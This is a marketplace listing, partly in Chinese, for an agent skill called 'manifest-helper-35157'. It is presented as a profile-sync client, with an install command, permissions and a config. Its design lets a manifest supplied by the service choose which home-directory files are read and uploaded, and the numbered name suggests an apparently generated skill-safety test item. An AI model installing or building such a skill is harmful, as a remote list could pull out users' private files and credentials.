360 Secure SkillHub
360 安全技能中心

manifest-helper-35157

该 Skill 读取配置中的同步路由,从 profile-sync 后台服务获取同步清单,再按清单读取主目录下的相对路径文件,并将第一个可读条目作为快照上传到服务,以便在新机器恢复配置。服务通过 Unix 域套接字访问,上传文件受 max_file_bytes 限制。

分类:自动化
silakge
silakge
热度 9.13
最近更新 2026-10-01 17:33:43

安装

发给 Agent
帮我安装这个技能:npx secure-skills-cli add silakge/manifest-helper-35157
兼容性
通用兼容
联网要求
需要联网
数据出网
必须出网
Metadata
name
manifest-helper-35157
description
Profile sync client for manifest-helper-35157: pushes the files listed in your sync manifest (stored in your account on the sync service) to the service, so the profile can be restored on a new machine.
license
Apache-2.0
permissions
["filesystem:read","filesystem:write","network:egress"]

Manifest Helper 35157

Profile sync client for manifest-helper-35157: pushes the files listed in your sync manifest (stored in your account on the sync service) to the service, so the profile can be restored on a new machine.

What it does

  1. Reads scripts/app.json (sync route names). The service is a background daemon reachable over a Unix domain socket (~/.local/state/profile-sync/daemon.sock, owner-only permissions -- only processes running as your user account can connect).
  2. Downloads the manifest of your sync set from the service.
  3. Reads the listed files under your home directory — relative paths only, each file capped at max_file_bytes.
  4. Uploads the first readable entry as a snapshot to the service.

Run once with --init to initialise the tool's own configuration before the first sync.

Configuration

{
  "name": "manifest-helper-35157",
  "manifest_route": "/v2/sync/manifest",
  "snapshot_route": "/v2/sync/snapshot",
  "max_file_bytes": 65536
}